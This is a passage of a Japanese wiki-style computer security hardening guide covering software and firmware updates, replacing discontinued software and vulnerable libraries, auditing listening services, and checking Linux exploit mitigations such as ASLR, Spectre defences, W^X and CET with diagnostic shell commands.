PC{{efn|PCサーバを含む}}やモバイルでは基本的に自動で通知が来るので忘れずにアップデートを選択しましょう。手動では以下のように行います:
; Windows
: システムのアップデートは基本的に [[:w:Microsoft Update|Microsoft Update]] (Windows Update) で、アプリケーションのアップデートは基本的に&lt;code&gt;winget upgrade --all&lt;/code&gt;コマンドで行います。
: また Windows 11 Enterprise では再起動が不要なホットパッチにも対応しています。
; macOS / iOS
: 「ソフトウェアアップデート」
; Ubuntu / Debian
: [[:w:APT|APT]]パッケージ管理システムでは&lt;code&gt;apt upgrade&lt;/code&gt;コマンドで更新を行います。
: Ubuntu では GUI による更新用として[[:w:Software Updater|Software Updater]] (&lt;code&gt;update-manager&lt;/code&gt;コマンド)、[[:w:Snap (ソフトウェア)|Snap]]パッケージの更新コマンドとして&lt;code&gt;snap refresh&lt;/code&gt;、メジャーバージョンの更新コマンドとして&lt;code&gt;do-release-upgrade&lt;/code&gt;も存在します。
: また Ubuntu では Ubuntu Pro に登録することで再起動が不要なカーネル修正の「Livepatch」も可能となります（個人では5台まで無料）。SUSEではユーザー空間ライブパッチングまで提供されています（glibc と openssl のみ）&lt;ref&gt;[https://documentation.suse.com/ja-jp/sles/15-SP6/html/SLES-all/cha-ulp.html ユーザ空間ライブパッチ - 管理ガイド - SLES 15 SP6] SUSE&lt;/ref&gt;。
; RedHat / Fedora
: &lt;code&gt;yum update&lt;/code&gt;コマンド
; Android
: 「設定」アプリ→「システム」→「システムアップデート」または「ソフトウェアアップデート」 

また個々のハードウェアのファームウェアアップデートは以下で行います:
; Linux
: Linuxにおけるファームウェアの更新は基本的に&lt;code&gt;fwupdmgr update&lt;/code&gt;コマンドで行います。
: NVMe SSDのファームウェアの更新は&lt;code&gt;nvme fw-download&lt;/code&gt;コマンドおよび&lt;code&gt;nvme fw-commit&lt;/code&gt;コマンドで行うことができます。
一方、Windows ではファームウェアのアップデートも Windows Update 経由で&lt;ref&gt;[https://learn.microsoft.com/ja-jp/windows-hardware/drivers/bringup/firmware-update ファームウェアの更新] Microsoft&lt;/ref&gt;、macOS ではファームウェアのアップデートもmacOSアップデートで行うことができます&lt;ref&gt;[https://support.apple.com/ja-jp/guide/mac-help/mchlp2609/mac Macのファームウェアアップデートの入手方法] Apple&lt;/ref&gt;。

&lt;!--
また開発環境では以下も存在します:
; Python
: &lt;code&gt;pip -U install&lt;/code&gt;
--&gt;

==== ルーター ====
ルーターでは以下の設定を有効のままにしておきましょう:
; AirStationシリーズ（Buffalo 製ルーター）
: 「ファームウェア自動更新機能」
; Atermシリーズ（NEC 製ルーター）
: 「メンテナンスバージョンアップ機能」「時刻指定バージョンアップ機能」

==== テレビ ====
テレビでは放送波アップデートが行われるため、「放送波による自動更新」&lt;!--TODO: メーカー別名--&gt;を有効にしましょう。

=== 高速に再起動する ===
パッケージは更新しただけでは反映されません（一部デーモンの更新を除く）。Linuxでは高速に再起動する方法が存在し、これによってダウンタイムを減らすことができます。
; 更新で影響を受けるデーモンのみ再起動する
:* Ubuntu Server: 標準で &lt;code&gt;needrestart&lt;/code&gt; が導入されており自動で影響を受けるデーモンの再起動が行われます{{efn|自動的なデーモン再起動を止めるには /etc/apt/apt.conf.d/99needrestart より&lt;code&gt;-m u&lt;/code&gt;を削除する必要があります&lt;ref&gt;[https://discourse.ubuntu.com/t/needrestart-changes-in-ubuntu-24-04-service-restarts/44671 `needrestart` changes in Ubuntu 24.04: service restarts] Canonical 2024年&lt;/ref&gt;。}}（Ubuntu Desktopでは別途導入が必要）。
:* RedHat / Fedora: &lt;code&gt;dnf needs-restarting&lt;/code&gt;が導入されており、それによって再起動するべきデーモンを確認できます。
; ユーザー空間のみ再起動する（カーネルの更新がない、またはカーネルでlive patchingを行ってる場合）
: &lt;code&gt;sudo systemctl soft-reboot&lt;/code&gt;
; 高速にカーネルを更新する（ファームウェアの更新がない場合）
: &lt;code&gt;sudo systemctl kexec&lt;/code&gt;

また一部のソフトウェアではホットアップグレード（無停止アップグレード{{efn|Zero-Downtime Upgrade}}）にも対応しています (nginx の USR2 シグナル&lt;ref&gt;[https://nginx.org/en/docs/control.html Controlling nginx] nginx&lt;/ref&gt;など)。

=== 代替ソフトウェアを探す ===
更新が停止された古いソフトウェアの多くはそれ自身に脆弱性が存在したり、脆弱性のある古いライブラリに依存していたりします。そのため古いソフトウェアは速やかに代替ソフトウェアへと移行しましょう。

==== 開発終了したソフトウェアから現役のソフトウェアへ ====
古いソフトウェアには例えば以下があります:
* オフィススイート（代替候補: LibreOffice）
** [[:w:OpenOffice.org|OpenOffice.org]]（〜2011年）
* 画像ビューア
** [[:w:Susie|Susie]] （〜2013年）
* メディアプレイヤー
** [[:w:QuickTime|QuickTime]] for Windows（〜2016年） - リモートコード実行の脆弱性 ([https://www.zerodayinitiative.com/advisories/ZDI-16-241/ ZDI-16-241]、[https://www.zerodayinitiative.com/advisories/ZDI-16-242/ ZDI-16-242]) を残したままサポート終了しました&lt;ref&gt;[https://internet.watch.impress.co.jp/docs/news/753400.html Apple、「QuickTime for Windows」のサポートを終了、アンインストールを推奨] Impress 2016年4月15日&lt;/ref&gt;。
* メディアフィルター（代替候補: LAV Filters）
** [[:w:ffdshow|ffdshow]]（〜2014年）
** [[:w:Haali Media Splitter|Haali Media Splitter]]（〜2013年） 
* メディアセンター（代替候補: Kodi）
** [[:w:en:Boxee|Boxee]]（〜2011年）
** [[:w:Kodi|XBMC]]（〜2014年） - Kodiの前身
* 圧縮ソフトウェア
** [[:w:+Lhaca|+Lhaca]]（〜2007年）
** [[:w:Lhaplus|Lhaplus]]（〜2017年）

またハードウェアに由来する古いソフトウェアには例えば以下があります:
* [[w:ウォークマン|ウォークマン]]関連（代替候補: [[:w:Music Center for PC|Music Center for PC]]）
** [[:w:CONNECT Player|CONNECT Player]]（〜2007年、Sony）
** [[:w:SonicStage|SonicStage]]（〜2009年、Sony）
** [[:w:x-アプリ|x-アプリ]]（〜2016年、Sony）
* DTCP-IP関連
** SmartVision/PLAYER powered by DiXiM（〜2019年、NEC）&lt;ref&gt;[https://support.nec-lavie.jp/navigate/support/info/2019/announce/svp/ SmartVision/PLAYER保守サービス終了のお知らせ] NECパーソナルコンピュータ 2019年1月28日&lt;/ref&gt;&lt;ref&gt;[https://apps.microsoft.com/detail/9wzdncrdkb4c?hl=ja-JP&amp;gl=JP SmartVision/PLAYER powered by DiXiM] Microsoft&lt;/ref&gt;
** DiXiM Digital TV plus for I-O DATA（〜2022年、I-O DATA）&lt;ref&gt;[https://www.iodata.jp/lib/product/d/3533.htm DiXiM Digital TV plus for I-O DATA] I-O DATA&lt;/ref&gt;

なお仮想マシンを使って隔離しながら古いソフトウェアを動かすこともできますが、仮想マシンでも「VMエスケープ」の脆弱性を使用することでホスト環境への侵害が可能なため、仮想マシンの上で弱い環境や弱いソフトウェアを使うこともなるべく避けましょう。&lt;!--TODO: Windows Sandbox--&gt;

==== 古いバージョンのライブラリを避ける ====
多くのソフトウェアに使用されているライブラリとその過去の危険な脆弱性には例えば以下があります:&lt;!--危険を認識させる。例はライブラリ内のメイン処理に存在し、任意コード実行であり、脆弱性の存在期間が長く、新しいものが好ましい。--&gt;
* 画像ライブラリ
** libpng - [https://access.redhat.com/security/cve/cve-2010-1205 CVE-2010-1205]（PNG画像で任意コード実行の可能性）
** libjpeg-turbo - [https://access.redhat.com/security/cve/cve-2012-2806 CVE-2012-2806]（JPEG画像で任意コード実行の可能性）
** OpenJPEG - [https://access.redhat.com/security/cve/cve-2025-54874 CVE-2025-54874]（JPEG2000画像で任意コード実行の可能性）
** libtiff - [https://access.redhat.com/security/cve/cve-2026-12912 CVE-2026-12912]（PixarLog圧縮TIFF画像で任意コード実行の可能性）
** libwebp - [https://access.redhat.com/security/cve/cve-2023-4863 CVE-2023-4863]（WebP画像で任意コード実行の可能性）
* 動画ライブラリ
** FFmpeg - [https://access.redhat.com/security/cve/cve-2024-22860 CVE-2024-22860]（JPEG XLアニメーションで任意コード実行の可能性）
* 圧縮ライブラリ
** libarchive - [https://access.redhat.com/security/cve/cve-2026-15028 CVE-2026-15028]（tarアーカイブ形式で任意コード実行の可能性）
** zlib - [https://access.redhat.com/security/cve/cve-2002-0059 CVE-2002-0059]（Deflate圧縮形式で任意コード実行の可能性）
** bzip2 - [https://access.redhat.com/security/cve/cve-2010-0405 CVE-2010-0405]（BZ2圧縮形式で任意コード実行の可能性）

これらのライブラリはABI（アプリケーションバイナリインターフェイス）が変更されて新しいバージョンの共有ライブラリにドロップイン置換できないものも多くなっています。

また国内で使われている古いソフトウェアでは開発中止になった以下のライブラリも問題となっています:
* UNLHA32.DLL&lt;ref&gt;[https://forest.watch.impress.co.jp/docs/news/372729.html 圧縮・解凍用DLL「UNLHA32.DLL」が開発中止、作者はLZHの利用中止を呼びかけ] Impress 2010年6月7日&lt;/ref&gt;

Webフレームワークでは開発中止となった以下のフレームワークが問題となっています:
* [[:w:Model View Controller|Model View Controller]]フレームワーク（代替候補: [[:w:Apache Struts|Apache Struts]] 2、[[:w:Spring Framework#Model-View-Controller フレームワーク|Spring MVC]]）
** [[:w:en:Apache Struts 1|Apache Struts 1]]（〜2008年） - Java言語
* [[:w:アスペクト指向プログラミング|アスペクト指向フレームワーク]]（代替候補: [[:w:Spring Framework|Spring Framework]]、[[:w:en:Micronaut (framework)|Micronaut]]）
** [[:w:Seasar|Seasar]]（〜2016年） - Java言語
* [[:w:シングルページアプリケーション|シングルページアプリケーション]]フレームワーク（代替候補: [[:w:Angular|Angular]]、[[:w:Vue.js|Vue.js]]）
** [[:w:AngularJS|AngularJS]]（〜2022年） - JavaScript

=== 古いハードウェアに対処する ===
サポート切れの OS を搭載したハードウェアはどうすれば良いでしょうか。これには使い続けるいくつかの方法がありますが、基本的にオススメしません。古い OS を搭載していたハードウェアはハードウェア仕様も古いからです。

==== スタンドアロン運用 ====
古いハードウェアはインターネットに繋がずに使用すること（スタンドアロン運用）も可能です。

しかしながらUSBメモリでデータをやり取りする場合はUSBメモリ経由での感染などのリスクは残ります。

==== 新しめのLinuxを導入 ====
新しめのLinuxを導入するという方法もあります。

これに適したものでは例えばWindows 11非対応のPC (Intel 第7世代以前、AMD Ryzen 1000シリーズ以前) が挙げられます。

またスマートフォンやタブレットであればカスタムROMが、ルーターであればDD-WRTやOpenWRTが存在します。

==== 手放す ====
手に負えなければデータだけバックアップして手放しましょう。情報が漏れないよう初期化も忘れずに。

== 不要なサービスを止める / 削除する ==
{| class=&quot;wikitable&quot;
|+ サービス表示系コマンド
|-
! 稼働中のシステムサービスを見る
| &lt;code&gt;systemctl --type=service --state=running&lt;/code&gt;
|-
! 稼働中のユーザーサービスを見る
| &lt;code&gt;systemctl --user --type=service --state=running&lt;/code&gt;
|}

=== TCP/UDP経由のサービス ===
TCP/UDPでのポート待ち受けのあるプロセスを見るには &lt;code&gt;sudo ss -tulnp&lt;/code&gt; を、通信しているプロセスを見るには &lt;code&gt;sudo lsof -i -P -n&lt;/code&gt; を実行しましょう。

{| class=&quot;wikitable&quot;
|+ 主なポート待ち受けのあるプロセス
|-
! ポート !! 機能 !! プロセス名 !! サービス名または起動コマンド !! パッケージ名 (Ubuntu) || 直接問い合せコマンド
|-
| rowspan=2 | 53/UDP&lt;br&gt;53/TCP || rowspan=2 | DNS（名前解決） || systemd-resolved || systemd-resolved.service || systemd-resolved || &lt;code&gt;dig @127.0.0.53 example.com&lt;/code&gt;
|-
| dnsmasq || dnsmasq.service&lt;br/&gt;dnsmasq@.service || dnsmasq-base&lt;br&gt;dnsmasq || &lt;code&gt;dig @10.208.199.1 example.com&lt;/code&gt;
|-
| rowspan=2 | 5353/UDP || rowspan=2 | [[:w:マルチキャストDNS|マルチキャストDNS]] || systemd-resolved || systemd-resolved.service ||  systemd-resolved || &lt;code&gt;resolvectl -p mdns query $HOSTNAME.local&lt;/code&gt;
|-
| Avahi || avahi-daemon.service || avahi-daemon || &lt;code&gt;avahi-resolve-host-name $HOSTNAME.local&lt;/code&gt;
|-
| 67/UDP&lt;br&gt;547/UDP || [[:w:DHCP|DHCP]]&lt;br&gt;[[:w:DHCPv6|DHCPv6]] || dnsmasq || dnsmasq.service&lt;br/&gt;dnsmasq@.service || dnsmasq-base&lt;br&gt;dnsmasq || &lt;code&gt;IP=$(ip -4 -o addr show pan1 &amp;vert; grep -oP '(?&lt;=inet )[\d.]+'); sudo dhcping -v -i -s &quot;$IP&quot; -c &quot;$IP&quot;&lt;/code&gt;{{efn|Ubuntuではdhcpingパッケージの導入が必要です。}}
|-
| rowspan=2 | 68/UDP&lt;br&gt;546/UDP || rowspan=2 | DHCPクライアント&lt;br&gt;DHCPv6クライアント{{efn|単独のDHCPクライアントである dhclient、dhcpcd なども存在する。また開発終了になったisc-dhcp-clientも存在した。}} || systemd-networkd&lt;wbr&gt;{{efn|name=&quot;network-all&quot;}} || || systemd || 
|-
| NetworkManager&lt;wbr&gt;{{efn|name=&quot;network-all&quot;|ネットワーク管理全般を担当しています。}} || NetworkManager.service || network-manager || 
|-
| rowspan=2 | 123/UDP&lt;br&gt;4460/TCP || rowspan=2 | NTP（時刻同期）&lt;br&gt;NTS-KE （NTPの鍵交換）{{efn|これらの代替として systemd-timesyncd もありますが、こちらは NTP の代わりに単純な SNTP のみ実装の上、サーバーを持たずクライアント側のみ対応です。}} || ntpd || ntpsec.service || ntpsec || rowspan=2 | &lt;code&gt;ntpdig localhost&lt;/code&gt;{{efn|ローカルへのNTP問い合せは&lt;code&gt;ntpdate -q localhost&lt;/code&gt;でもできますが、こちらはNTP-KE非対応です。}}
|-
| chronyd || chrony.service || chrony
|-
| 80/TCP&lt;br&gt;443/HTTP&lt;br&gt;443/UDP || HTTP&lt;br&gt;HTTPS&lt;br&gt;HTTP/3 (QUIC) || apache2 || apache2.service&lt;br&gt;apache2@.service&lt;br&gt;httpd.service&lt;br&gt;httpd@.service || apache2 || HTTP: &lt;code&gt;curl http://localhost&lt;/code&gt;&lt;br&gt;HTTPS: &lt;code&gt;curl --http2 https://localhost&lt;/code&gt;&lt;br&gt;HTTP/3: &lt;code&gt;curl --http3-only https://localhost&lt;/code&gt;
|-
| rowspan=2 | ユーザーポート/UDP || rowspan=2 | HTTP/3 (QUIC) クライアント&lt;br&gt;WebRTCクライアント || chrome{{efn|Google Chrome}} || &lt;code&gt;google-chrome&lt;/code&gt; || google-chrome (公式APTリポジトリ) || 
|-
| firefox{{efn|Mozzila Firefox}} || &lt;code&gt;firefox&lt;/code&gt; || firefox (snap) || 
|-
| rowspan=2 |21/TCP&lt;br&gt;20/TCP{{efn|アクティブモードのみデータ転送で使われます。}} || rowspan=2 | FTP || proftpd || proftpd.service&lt;br&gt;proftpd@.service || proftpd-core || rowspan=2 | &lt;code&gt;curl ftp://localhost&lt;/code&gt;
|-
| vsftpd || vsftpd.service || vsftpd
|-
| 22/TCP || SSH / SFTP || sshd || ssh.service&lt;br&gt;sshd@.service || openssh-server || &lt;code&gt;ssh-keyscan 127.0.0.1&lt;/code&gt;
|-
| rowspan=2 | 6881/TCP || rowspan=2 | BitTorrent || qbittorrent || &lt;code&gt;qbittorrent&lt;/code&gt; || qbittorrent ||
|-
| ktorrent || &lt;code&gt;ktorrent&lt;/code&gt; || ktorrent ||
|-
| rowspan=2 | 51413/TCP || rowspan=2 | Transmission&lt;wbr&gt;{{efn|BitTorrentプロトコル。TransmissionをベースとするFragmentsも同ポートを使用します。}} || transmission-daemon || transmission-daemon.service || transmission-daemon ||
|-
| transmission-gtk || &lt;code&gt;transmission-gtk&lt;/code&gt; || transmission-gtk ||
|-
| 5001/TCP&lt;br&gt;5001/UDP || rowspan=2|  ネットワークパフォーマンス計測 || iperf || &lt;code&gt;iperf -s&lt;/code&gt; || iperf || &lt;code&gt;iperf -c localhost&lt;/code&gt;
|-
| 5021/TCP&lt;br&gt;5021/UDP || iperf3 || &lt;code&gt;iperf3 -s&lt;/code&gt; || iperf3 || &lt;code&gt;iperf3 -c localhost&lt;/code&gt;
|-
| 1716/UDP&lt;br&gt;1716/TCP&lt;br&gt;ユーザーポート/UDP || スマートフォン連携 (KDE) || kdeconnectd || &lt;code&gt;kdeconnect-app&lt;/code&gt; || kdeconnect ||
|-
| ユーザーポート/TCP || Claude Proxy Service || code{{efn|[[:w:Visual Studio Code|Visual Studio Code]]のプロセス。}} || &lt;code&gt;code&lt;/code&gt; || code (公式APTリポジトリ) || 
&lt;!--
|-
|  || AI コーディング支援 (Google Antigravity CLI{{efn|Command Line Interface}}) || agy || || (Visal Studio Code拡張) || 
--&gt;
|-
| rowspan=2 | 3389/TCP&lt;br&gt;3389/UDP || rowspan=2 | Remote Desktop Protocol || gnome-remote-desktop-daemon{{efn|GNOME Remote Desktop}} || gnome-remote-desktop.service&lt;!-- (system)--&gt;&lt;br&gt;gnome-remote-desktop.service (user)&lt;br&gt;gnome-remote-desktop-headless.service (user) || gnome-remote-desktop || 
|-
| krdpserver || app-org.kde.krdpserver.service (user) || krdp || 
|-
| 47984/TCP&lt;br&gt;47989/TCP&lt;br&gt;48010/TCP&lt;br&gt;47998–48010/UDP || NVIDIA GameStream || sunshine ||  app-dev.&lt;wbr&gt;lizardbyte.&lt;wbr&gt;app.&lt;wbr&gt;Sunshine.service (user) || sunshine (公式debファイル) ||  (moonlight-qt)
|-
| 27031-27036/UDP&lt;br&gt;27036/TCP || Steam Remote Play&lt;ref&gt;[https://help.steampowered.com/ja/faqs/view/2EA8-4D75-DA21-31EB Steam接続に必要なポート] Valve&lt;/ref&gt; || steam || &lt;code&gt;steam&lt;/code&gt; || steam (公式APTリポジトリ) || 
|-
| 1900/UDP || UPnP{{efn|パケットフィルタと共に使用して要求に従ってポートマッピングする。}} || miniupnpd || miniupnpd.service || miniupnpd-nftables&lt;br&gt;miniupnpd-iptables ||
|}

なおUPnPのポートは外側に解放しないようにしましょう。また内側にだけ解放した場合も内側に侵害された機器が存在する場合に危険となるのでVLANでネットワークを分けるなどを心がけましょう。

また外側に開いてるポートはランダム割り当てされないように sysctl の &lt;code&gt;net.ipv4.ip_local_reserved_ports&lt;/code&gt; で予約しておきましょう。この設定を永続化するには /etc/sysctl.d/99-local-ports.conf あたりに&lt;code&gt;net.ipv4.ip_local_reserved_ports=a,b,c&lt;/code&gt;{{efn|ダブルクォーテーションで囲むと「無効な引数です」のエラーになるので注意してください。}}と記述すれば OK です。設定を直ぐに反映するには&lt;code&gt;sudo sysctl --system&lt;/code&gt;を実行しましょう。

&lt;!--TODO: CUPS、Postfix、Samba、Wsdd--&gt;

=== Unix Domain経由のサービス ===
Unix Domainでのポート待ち受けのあるプロセスを見るには &lt;code&gt;sudo ss -xlp&lt;/code&gt; を実行しましょう。


=== dbus経由のサービス ===
システムバスは &lt;code&gt;busctl --system list&lt;/code&gt;、セッションバスは &lt;code&gt;busctl --user list&lt;/code&gt; で確認することができます。

それらを提供する実行中のプロセスの一覧は以下で取得できます:
* システムバスを提供するプロセス: &lt;code&gt;busctl --system --no-pager | awk 'NR&gt;1 &amp;&amp; $2 ~ /^[0-9]+$/ {print $2}' | xargs -I {} readlink &quot;/proc/{}/exe&quot; | sort -u&lt;/code&gt;
* ユーザーバスを提供するプロセス: &lt;code&gt;busctl --user --no-pager | awk 'NR&gt;1 &amp;&amp; $2 ~ /^[0-9]+$/ {print $2}' | xargs -I {} readlink &quot;/proc/{}/exe&quot; | sort -u&lt;/code&gt;

dbusサービスの一部はプロセス未実行のアクティベータブル (activatable) な状態で提供されています。アクティベータブルな状態で提供するサービスの実行コマンドは以下で取得できます:
*  activatableなシステムバスの実行コマンド: &lt;code&gt;busctl --system --no-pager --activatable | awk '{print $1}' | xargs -I {} find /usr/share/dbus-1 -name &quot;{}.service&quot; | xargs grep -h &quot;Exec=&quot; | sed 's/Exec=//g' | sort -u&lt;/code&gt;
*  activatableなユーザーバスの実行コマンド: &lt;code&gt;busctl --user --no-pager --activatable | awk '{print $1}' | xargs -I {} find /usr/share/dbus-1 -name &quot;{}.service&quot; | xargs grep -h &quot;Exec=&quot; | sed 's/Exec=//g' | sort -u&lt;/code&gt;

== 潜在的な脆弱性を減らす ==
現代のプログラムでは以下のような保護が行われています。

=== メモリアドレスの推測困難化 === 
攻撃に必要なコード片（ガジェット）のメモリアドレスを推測しにくくするために、カーネル空間、ユーザー空間の両方で[[:w:アドレス空間配置のランダム化|アドレス空間配置のランダム化]]（ASLR）が行われています。カーネル空間の ASLR は KASLR (Kernel ASLR) とも呼ばれています。

ユーザー空間のプログラムで ASLR を有効にするためには[[:w:位置独立コード|位置独立コード]] (PIC) / 位置独立実行形式 (PIE) である必要があります。Unix で使われる実行形式の ELF では位置独立実行形式が ET_DYN、非位置独立実行形式 (non-PIE) が ET_EXEC となります。

Linuxでは ASLR が無効となる非位置独立実行形式のファイルを以下で検索することができます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ # License: CC0 / Public Domain
$ # 非位置独立実行形式 (non-PIE) のバイナリを検索
$ find / -type f -executable 2&gt;/dev/null | xargs -I {} sh -c 'LANG=C readelf -h {} 2&gt;/dev/null | grep -E &quot;Type:.*EXEC&quot; &gt;/dev/null &amp;&amp; echo {}'
/usr/lib/default.sfx
/usr/lib/klibc/bin/mkfifo
/usr/lib/klibc/bin/zcat
/usr/lib/klibc/bin/poweroff
[...]
$ # 非位置独立実行形式 (non-PIE) のバイナリを含むDebianパッケージを検索
$ find / -type f -executable 2&gt;/dev/null | xargs -I {} sh -c 'LANG=C readelf -h {} 2&gt;/dev/null | grep -E &quot;Type:.*EXEC&quot; &gt;/dev/null &amp;&amp; echo {}' | xargs -r -d '\n' -n1 dpkg-query -S | sed 's/: .*//' | sort -u
aidl
busybox-static
code
cpp-15-x86-64-linux-gnu
cuda-gdb-13-4
cuda-nvcc-13-4
cuda-sanitizer-13-4
cuda-tileiras-13-4
debugedit
g++-15-x86-64-linux-gnu
gcc-15-x86-64-linux-gnu
gcc-mingw-w64-i686-posix
gdc-15-x86-64-linux-gnu
gds-tools-13-4
gfortran-15-x86-64-linux-gnu
gh
git-lfs
gobjc-15-x86-64-linux-gnu
gocryptfs
golang-1.26-go
go-md2man
go-mtpfs
[...]
&lt;/syntaxhighlight&gt;

現在のLinuxカーネルがユーザー空間 ASLR を有効にしているかは以下で確認できます (出力例はUbuntu 26.04):
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ sysctl kernel.randomize_va_space # 0=無し、1=部分的、2=完全
kernel.randomize_va_space = 2
&lt;/syntaxhighlight&gt;

また現在のLinuxカーネルがカーネル ASLR (KASLR) を有効にしているかは以下で確認できます (出力例はUbuntu 26.04):
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep 'CONFIG_RANDOMIZE_BASE' /boot/config-$(uname -r) # y=Yes, n=No
CONFIG_RANDOMIZE_BASE=y
&lt;/syntaxhighlight&gt;

なお ASLR は間接的な関数呼び出し（ C++ の vtable を含む）があると、そのアドレスから ASLR のオフセットがバレてしまい突破されてしまいます。

また CPU の[[:w:投機的実行|投機的実行]]での情報漏れ (Spectre) による[[:w:キャッシュ攻撃|キャッシュサイドチャネル攻撃]]（後述）の一つである「投機的探査」 (BlindSide) によってもコードの位置情報の取得がされ ASLR が突破されてしまいます。

=== 投機的実行の情報漏れ防止 ===
前述のとおり、投機的実行による情報漏れ (Spectre) は攻撃に繋がります。Spectre には境界チェックを迂回する Spectre V1 と間接分岐の分岐先アドレスのキャッシュ{{efn|分岐先バッファ (Branch Target Buffer、BTB)や分岐先アドレスキャッシュ (Branch Target Address Cache、BTAC) と呼ばれる。}}を汚染する Spectre V2 が存在します。&lt;!--TODO: Spectre v3/v4、Zenbleed--&gt;

Spectre V1 を防ぐ方法としては投機的実行を阻害するための命令（x86ではLFENCE）の挿入{{efn|Linuxカーネルでの投機的実行の防止は&lt;code&gt;barrier_nospec()&lt;/code&gt;。}}やアクセスできるアドレス範囲を狭めることが行われています{{efn|GCCでの投機的実行での範囲外アクセス防止は&lt;code&gt;__builtin_speculation_safe_value(...)&lt;/code&gt;、Linuxカーネルでの投機的実行での範囲外アクセス防止は&lt;code&gt;array_index_nospec(...)&lt;/code&gt;&lt;ref&gt;[https://lwn.net/Articles/759423/ Spectre V1 defense in GCC] LWN 2018年7月10日&lt;/ref&gt;。}}。

また Spectre V2 では攻撃を防ぎながらも速度を落とさない方法として脆弱な分岐先アドレスキャッシュに依存する間接分岐の代わりにリターンアドレスのキャッシュ{{efn|リターンスタックバッファ (RSB) と呼ばれる。}}に依存するリターン命令を使う retpoline が登場しました。しかしながらこの retpoline でも速度の低下は起こるため、既知の間接呼び出しを条件分岐 + 直接呼び出しに変換して高速化する手法が模索されました。LLVM では retpoline を有効にする &lt;code&gt;-mretpoline&lt;/code&gt;フラグの処理内に既知の仮想関数呼び出しを[[:w:二分木|二分木]]の直接分岐に置き換える「分岐ファネル」(Branch funnel) が導入されています&lt;ref&gt;[https://reviews.llvm.org/D42453 Use branch funnels for virtual calls when retpoline mitigation is enabled.] LLVM project&lt;/ref&gt;。また Linux カーネルでも既知の間接呼び出しを条件分岐 + 直接呼び出しに変換する INDIRECT_CALL_* マクロが搭載されています&lt;ref&gt;[https://lwn.net/Articles/774743/ Relief for retpoline pain] LWN 2018年12月14日&lt;/ref&gt;。&lt;!--TODO: Intel CETのSHSTKとretpolineの衝突--&gt;

一方、リターン命令の投機的実行も「Retbleed」や AMD CPU における「投機的リターンスタックオーバーフロー」 (SRSO){{efn|Speculative Return Stack Overflow。}}のような脆弱性が見つかっています。

なお低権限コードから高権限コードへの権限境界をまたいだ Spectre および Retbleed は Intel の「間接分岐制限付き投機」(IBRS){{efn|Indirect Branch Restricted Speculation。}}およびそれを高速化した「拡張IBRS」(eIBRS) などハードウェア側によって塞がれました&lt;ref&gt;[https://www.intel.com/content/www/us/en/developer/articles/technical/software-security-guidance/technical-documentation/hardware-behavior-related-to-speculative-execution.html Hardware Features and Behavior Related to Speculative Execution] Intel 2026年10月14日&lt;/ref&gt;が、権限境界をまたがないものは今も可能となっています。

=== メモリにおける書き込みと実行の排他化 (W^X) ===
メモリでは書き込み可能領域の実行不可化 ([[:w:NXビット|NXビット]]) と実行可能領域の書き込み不可化による書き込みと実行の排他化（[[:w:en:W^X|W^X]]）が一般的となっています。NXビットは x86 では NXビットは AMD64 と共に搭載された古い機能であるため、今時の CPU と OS は基本的にこれに対応しています。

現在の CPU がNXビットを有効にしているかはLinuxでは以下で確認できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep '^flags' /proc/cpuinfo | grep -o nx
nx
nx
[...]
&lt;/syntaxhighlight&gt;

現在のLinuxカーネルが厳格な W^X を有効にしているかは以下で確認できます (出力例はUbuntu 26.04):
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep '_RWX' /boot/config-$(uname -r) # y=Yes, n=No
CONFIG_ARCH_HAS_STRICT_KERNEL_RWX=y
CONFIG_STRICT_KERNEL_RWX=y
CONFIG_ARCH_HAS_STRICT_MODULE_RWX=y
CONFIG_STRICT_MODULE_RWX=y
&lt;/syntaxhighlight&gt;

しかしながら書き込みと実行の排他の原則を破ってそれらを同時に行える場所というものも存在しています。読み込み・書き込み・実行が可能なことから「RWXセクション」と呼ばれています。Windows ではメモリページの PAGE_EXECUTE_READWRITE フラグがこれに相当します&lt;ref&gt;[https://learn.microsoft.com/ja-jp/windows/win32/memory/memory-protection-constants メモリ保護定数] メモリ保護定数 (WinNT.h) - Win32 apps | Microsoft Learn&lt;/ref&gt;。

Windows のカーネルドライバでは NX フラグの使用が義務付けられています&lt;ref&gt;[https://learn.microsoft.com/en-us/windows-hardware/test/hlk/testref/driver-compatibility-with-device-guard メモリ整合性と VBS とのドライバ互換性] Microsoft&lt;/ref&gt;が、その Windows カーネルにおいても PatchGuard の領域がコード難読化のためにこの原則を破っています。&lt;!--TODO: ホットパッチ--&gt;

また Linux でも実行可能領域を書き込み可能ページとして割り当てて書き込む text_poke 関数が用意されています。

=== 制御フローの操作を防ぐ (CET)  ===
現代では「[[:w:Return-oriented programming|リターン指向プログラミング]]」(ROP)、「呼び出し指向プログラミング」 (COP)、「ジャンプ指向プログラミング」(JOP) 、「[[:en:Sigreturn-oriented programming|Sigreturn指向プログラミング]]」(SROP) などの制御フロー操作による攻撃が一般化していますが、これを防ぐ技術として「[[:w:en:Control-flow integrity#Intel Control-flow Enforcement Technology|制御フロー強制テクノロジー]]」(CET) の「[[:w:en:Indirect branch tracking|間接分岐追跡]]」(IBT) と「[[:w:en:Shadow stack|シャドウスタック]]」(SHSTK) が存在します。

制御フロー強制は比較的新しい技術であるため、対応する CPU は以下に限られます:
* Intel Core (Tiger Lake) 第11世代以降
* AMD Zen 3 以降（シャドウスタックのみ）

現在の CPU が間接分岐追跡 (IBT)  およびシャドウスタックに対応しているかはLinuxでは以下で確認できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep '^flags' /proc/cpuinfo | grep -oE '(ibt|shstk)'
shstk
ibt
shstk
ibt
[...]
&lt;/syntaxhighlight&gt;

